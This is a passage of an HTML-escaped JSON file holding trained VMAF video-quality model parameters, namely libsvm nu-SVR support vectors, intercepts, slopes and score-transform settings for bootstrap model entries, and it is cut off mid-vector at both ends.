                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 212\nrho -1.2061\nSV\n4 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n-4 1:0.83887552 2:0.08765484 3:0.58154998 4:0.82429855 5:0.8858516 6:0.91563291 \n4 1:0.93011029 2:0.23066177 3:0.71439481 4:0.90904598 5:0.94146542 6:0.95674338 \n4 1:0.98644504 2:0.055921852 3:0.7405327 4:0.96928567 5:0.9853799 6:0.99080378 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n-4 1:0.91951481 2:0.16787772 3:0.7239389 4:0.94244479 5:0.9681932 6:0.97806033 \n4 1:0.7890525 2:0.20820673 3:0.3510016 4:0.74206651 5:0.83508543 6:0.88101902 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n4 1:0.98791521 2:0.04579546 3:0.90293444 4:0.99181622 5:0.99642641 6:0.9978864 \n4 1:0.57308967 2:0.055921852 3:0.29301498 4:0.67070014 5:0.83429953 6:0.89348041 \n4 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n-4 1:0.91951481 2:0.16787772 3:0.7239389 4:0.94244479 5:0.9681932 6:0.97806033 \n-4 1:0.91951481 2:0.16787772 3:0.7239389 4:0.94244479 5:0.9681932 6:0.97806033 \n-4 1:0.69605554 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n-4 1:0.77257175 2:0.08765484 3:0.5597726 4:0.80653689 5:0.88996341 6:0.92691132 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n-4 1:0.60311017 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n-4 1:0.74673262 2:0.20629643 3:0.21465833 4:0.65034545 5:0.76692184 6:0.82551595 \n4 1:0.60617061 2:0.20820673 3:0.23419121 4:0.48018865 5:0.57200972 6:0.63197473 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n4 1:0.91061528 2:0.22767235 3:0.35742938 4:0.89821492 5:0.94339974 6:0.96076173 \n4 1:0.90795371 2:0.58937038 3:0.58823535 4:0.80035053 5:0.86988422 6:0.90533033 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n0.08524522145850208 1:0.62552631 2:0.49739676 3:0.30895604 4:0.40532955 5:0.48355121 6:0.54476585 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n-4 1:0.91951481 2:0.16787772 3:0.7239389 4:0.94244479 5:0.9681932 6:0.97806033 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n4 1:0.67544021 3:0.19261438 4:0.76066415 5:0.89973293 6:0.93660362 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n4 1:0.58396162 2:0.20629643 3:0.13877412 4:0.4724047 5:0.59295828 6:0.66834832 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n-4 1:0.89778056 2:1 3:0.43235998 4:0.86707094 5:0.92632217 6:0.95151451 \n4 1:0.87931568 2:0.22767235 3:0.31750162 4:0.85145925 5:0.9121085 6:0.93772147 \n4 1:0.91341872 3:0.45198963 4:0.97703695 5:0.9907273 6:0.99510256 \n-4 1:0.74673262 2:0.20629643 3:0.21465833 4:0.65034545 5:0.76692184 6:0.82551595 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n-4 1:0.75431872 2:0.083369236 3:0.42082971 4:0.66591147 5:0.77995959 6:0.84260661 \n-4 1:0.65966561 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n-4 1:0.42428709 2:0.93973481 3:0.20295859 4:0.39290035 5:0.43632323 6:0.45871216 \n4 1:0.91202697 2:0.42532178 3:0.50912639 4:0.87959883 5:0.93223488 6:0.95450335 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n-4 1:0.78167533 2:0.15600331 3:0.11289462 4:0.67598462 5:0.78117168 6:0.83259364 \n4 1:0.67227079 2:0.22767235 3:0.19328493 4:0.60107975 5:0.69684945 6:0.74949279 \n-4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n-4 1:0.75331875 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n-4 1:0.80929502 2:0.08765484 3:0.52947327 4:0.7501341 5:0.82294191 6:0.86264385 \n-4 1:0.79740378 2:0.047285912 3:0.49225957 4:0.86357299 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5:0.80063653 6:0.85083872 \n-4 1:0.52033349 2:0.48885268 3:0.27824915 4:0.42915458 5:0.50850476 6:0.58585271 \n-4 1:0.73815918 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n-4 1:0.77257175 2:0.08765484 3:0.5597726 4:0.80653689 5:0.88996341 6:0.92691132 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n-4 1:0.78167533 2:0.15600331 3:0.11289462 4:0.67598462 5:0.78117168 6:0.83259364 \n4 1:0.5987601 2:0.54342577 3:0.14271477 4:0.41491191 5:0.50173488 6:0.55220392 \n1.914754778541499 1:0.75186201 2:0.20820673 3:0.31004997 4:0.6557112 5:0.75585014 6:0.81164989 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n-1.247211215494023 1:0.95273022 2:0.014623935 3:0.90135809 4:0.99584619 5:0.9970631 6:0.99757649 \n4 1:0.67544021 3:0.19261438 4:0.76066415 5:0.89973293 6:0.93660362 \n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n4 1:0.66256481 2:0.42532178 3:0.27479904 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5:0.97249918 6:0.9795177 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n-4 1:0.91941823 2:0.93973481 3:0.41336953 4:0.88038833 5:0.93688884 6:0.95992879 \n4 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n4 1:0.34770698 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n-4 1:0.73815918 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;15&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 212\nrho -1.47693\nSV\n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n4 1:0.73346397 2:0.49739676 3:0.37130724 4:0.51472366 5:0.59961357 6:0.66258291 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n4 1:0.91061528 2:0.22767235 3:0.35742938 4:0.89821492 5:0.94339974 6:0.96076173 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n4 1:0.54792627 2:0.055921852 3:0.26207179 4:0.59416461 5:0.75957205 6:0.82870539 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n4 1:0.95273022 2:0.014623935 3:0.90135809 4:0.99584619 5:0.9970631 6:0.99757649 \n4 1:0.75700132 2:1 3:0.28883701 4:0.65284485 5:0.75623242 6:0.81297442 \n4 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n4 1:0.90795371 2:0.58937038 3:0.58823535 4:0.80035053 5:0.86988422 6:0.90533033 \n4 4:0.10344019 5:0.34323945 6:0.63855969 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-0.5688559134979849 1:0.4197563 2:0.20629643 3:0.10015785 4:0.36799816 5:0.4733947 6:0.55804832 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n4 1:0.56142653 2:0.49739676 3:0.24752355 4:0.28326524 5:0.33261781 6:0.37104424 \n-4 1:0.74644956 2:0.34681232 3:0.12095689 4:0.68834617 5:0.77453583 6:0.81892861 \n-4 1:0.60311017 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n4 1:0.78020364 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n-4 1:0.73166122 2:0.25207203 3:0.3051639 4:0.67537297 5:0.75767261 6:0.80327187 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n4 1:0.91202697 2:0.42532178 3:0.50912639 4:0.87959883 5:0.93223488 6:0.95450335 \n4 1:0.76526298 2:0.055921852 3:0.38714172 4:0.81340799 5:0.90059649 6:0.93006702 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n-4 1:0.43289262 2:0.49739676 3:0.19942282 4:0.18051614 5:0.20657779 6:0.22630829 \n3.61816629710394 1:0.73710984 2:0.23066177 3:0.49544357 4:0.66648649 5:0.76052819 6:0.81482311 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n4 1:0.90795371 2:0.58937038 3:0.58823535 4:0.80035053 5:0.86988422 6:0.90533033 \n-4 1:0.76580991 2:0.93973481 3:0.32205372 4:0.7176044 5:0.80237787 6:0.84588741 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n4 1:0.57308967 2:0.055921852 3:0.29301498 4:0.67070014 5:0.83429953 6:0.89348041 \n4 1:0.34770698 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:0.89725962 2:0.48885268 3:0.5143645 4:0.8587242 5:0.91841685 6:0.94498293 \n4 1:0.57348929 2:0.42532178 3:0.24033766 4:0.43855753 5:0.50243186 6:0.53322825 \n-4 1:0.52033349 2:0.48885268 3:0.27824915 4:0.42915458 5:0.50850476 6:0.58585271 \n-0.6195323909920534 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n4 1:0.34770698 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n4 1:0.60617061 2:0.20820673 3:0.23419121 4:0.48018865 5:0.57200972 6:0.63197473 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n0.7535888721095203 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n4 1:0.78333908 2:0.20629643 3:0.24707248 4:0.72284103 5:0.83178838 6:0.88053503 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n-4 1:0.76491447 2:0.047285912 3:0.49613729 4:0.87838146 5:0.91688438 6:0.93150362 \n-4 1:0.75331875 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n4 1:0.18980624 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n-4 1:0.75331875 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n4 1:0.91202697 2:0.42532178 3:0.50912639 4:0.87959883 5:0.93223488 6:0.95450335 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n-4 1:0.57776221 2:0.08765484 3:0.42071301 4:0.56376512 5:0.66454599 6:0.741236 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n-4 1:0.52033349 2:0.48885268 3:0.27824915 4:0.42915458 5:0.50850476 6:0.58585271 \n4 1:0.68660174 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n-4 1:0.83887552 2:0.08765484 3:0.58154998 4:0.82429855 5:0.8858516 6:0.91563291 \n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n-4 1:0.35760888 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n4 1:0.49591192 2:0.22767235 3:0.13362033 4:0.43434224 5:0.49900609 6:0.53177669 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n-4 1:0.51012298 2:0.25207203 3:0.2005129 4:0.41516485 5:0.45282017 6:0.47396143 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n4 1:0.92683589 2:0.48885268 3:0.55208861 4:0.89938377 5:0.94642982 6:0.96615102 \n4 1:0.10775597 2:0.055921852 3:0.1590151 4:0.30536689 5:0.48614515 6:0.64344462 \n4 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n-4 1:0.91941823 2:0.93973481 3:0.41336953 4:0.88038833 5:0.93688884 6:0.95992879 \n-4 1:0.91941823 2:0.93973481 3:0.41336953 4:0.88038833 5:0.93688884 6:0.95992879 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n-4 1:0.91941823 2:0.93973481 3:0.41336953 4:0.88038833 5:0.93688884 6:0.95992879 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n-4 1:0.77257175 2:0.08765484 3:0.5597726 4:0.80653689 5:0.88996341 6:0.92691132 \n4 1:0.66051984 2:0.58937038 3:0.40045124 4:0.55415203 5:0.66628031 6:0.73418465 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n4 1:0.90420201 2:0.15600331 3:0.19693206 4:0.86294641 5:0.92990351 6:0.95498998 \n-4 1:0.66561759 2:0.083369236 3:0.37833052 4:0.59301482 5:0.71772587 6:0.7905538 \n4 1:0.62349716 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n-4 1:0.54042467 2:0.15600331 3:0.046271684 4:0.4328793 5:0.5309142 6:0.59282089 \n-4 1:0.6483368 2:0.04579546 3:0.45989947 4:0.82115248 5:0.92520734 6:0.9594384 \n-4 1:0.77257175 2:0.08765484 3:0.5597726 4:0.80653689 5:0.88996341 6:0.92691132 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n-4 1:0.65317124 2:0.25207203 3:0.23994344 4:0.52538719 5:0.5891732 6:0.62164073 \n4 1:0.79373193 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n-4 1:0.69816754 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n-4 1:0.4874691 2:0.23066177 3:0.32329421 4:0.33686197 5:0.39456977 6:0.44944683 \n-4 1:0.45809369 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n4 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n-4 1:0.91941823 2:0.93973481 3:0.41336953 4:0.88038833 5:0.93688884 6:0.95992879 \n-4 1:0.4807615 2:0.083369236 3:0.30044264 4:0.41587284 5:0.5230585 6:0.59468942 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.89778056 2:1 3:0.43235998 4:0.86707094 5:0.92632217 6:0.95151451 \n-4 1:0.82949905 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n-4 1:0.69816754 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n-4 1:0.75331875 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n4 1:0.91839373 2:0.04579546 3:0.69472114 4:0.97790884 5:0.9891237 6:0.993277 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n4 1:0.60617061 2:0.20820673 3:0.23419121 4:0.48018865 5:0.57200972 6:0.63197473 \n4 1:0.7890525 2:0.20820673 3:0.3510016 4:0.74206651 5:0.83508543 6:0.88101902 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n-3.032803578809941 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n-4 1:0.4688131 2:0.34681232 3:0.041939301 4:0.45284872 5:0.5157613 6:0.55335821 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.35760888 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n-4 1:0.37392021 2:1 3:0.10644455 4:0.21484368 5:0.25587544 6:0.27527817 \n4 1:0.80993214 2:0.15600331 3:0.13401869 4:0.75274384 5:0.8506531 6:0.89321405 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n4 1:0.91839373 2:0.04579546 3:0.69472114 4:0.97790884 5:0.9891237 6:0.993277 \n4 1:0.60617061 2:0.20820673 3:0.23419121 4:0.48018865 5:0.57200972 6:0.63197473 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n-4 1:0.65970734 2:1 3:0.23706331 4:0.5477205 5:0.66054901 6:0.7269284 \n4 1:0.91202697 2:0.42532178 3:0.50912639 4:0.87959883 5:0.93223488 6:0.95450335 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n-4 1:0.89778056 2:1 3:0.43235998 4:0.86707094 5:0.92632217 6:0.95151451 \n4 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n4 1:0.76399364 2:0.04579546 3:0.52334234 4:0.88859427 5:0.94013924 6:0.95946903 \n4 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n-0.06414609832881771 1:0.4197563 2:0.20629643 3:0.10015785 4:0.36799816 5:0.4733947 6:0.55804832 \n-1.714662018371208 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n-4 1:0.69605554 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n4 1:0.2214182 2:0.49612229 3:0.10534315 4:-1.110223e-16 6:2.220446e-16 \n-4 1:0.6483368 2:0.04579546 3:0.45989947 4:0.82115248 5:0.92520734 6:0.9594384 \n-4 1:0.4807615 2:0.083369236 3:0.30044264 4:0.41587284 5:0.5230585 6:0.59468942 \n-4 1:0.73815918 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n-4 1:0.80929502 2:0.08765484 3:0.52947327 4:0.7501341 5:0.82294191 6:0.86264385 \n1.628244830786539 1:0.58396162 2:0.20629643 3:0.13877412 4:0.4724047 5:0.59295828 6:0.66834832 \n4 1:0.56142653 2:0.49739676 3:0.24752355 4:0.28326524 5:0.33261781 6:0.37104424 \n4 1:0.73251944 2:0.15600331 3:0.11085278 4:0.68794624 5:0.80350923 6:0.85660483 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n-4 1:0.60311017 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n4 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n-4 1:0.69518774 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n4 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n-4 